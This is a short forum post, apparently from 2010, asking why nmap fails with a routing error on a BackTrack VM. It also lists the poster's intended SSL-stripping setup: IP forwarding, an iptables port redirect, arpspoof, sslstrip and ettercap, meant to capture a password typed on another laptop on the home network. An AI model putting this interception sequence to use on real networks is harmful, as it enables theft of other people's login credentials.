So, I recently started to use nmap and had developed in interest in using it with SSLStrip just while I was at home, trying to find the password of my e-mail account as I entered it into another laptop I have on the network.
This was the setup I intended to use:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
#(find private IP of my other laptop)
arpspoof -i eth0 -t
#run SSLStrip
sslstrip -h
sslstrip -a
ettercap -T -q -i wlan0

But I never got past the use of nmap because no matter what I tried, I always got the error:

root@bt:~# nmap

Starting Nmap 5.00 ( Nmap - Free Security Scanner For Network Exploration & Security Audits. ) at 2010-02-13 14:58 EST
Premature EOF in /proc/net/route
nexthost: failed to determine route to

Any ideas on this one?
I'm running off of VM on a Vistax64 with an Alfa USB 500mW WiFI Adapter in monitor mode.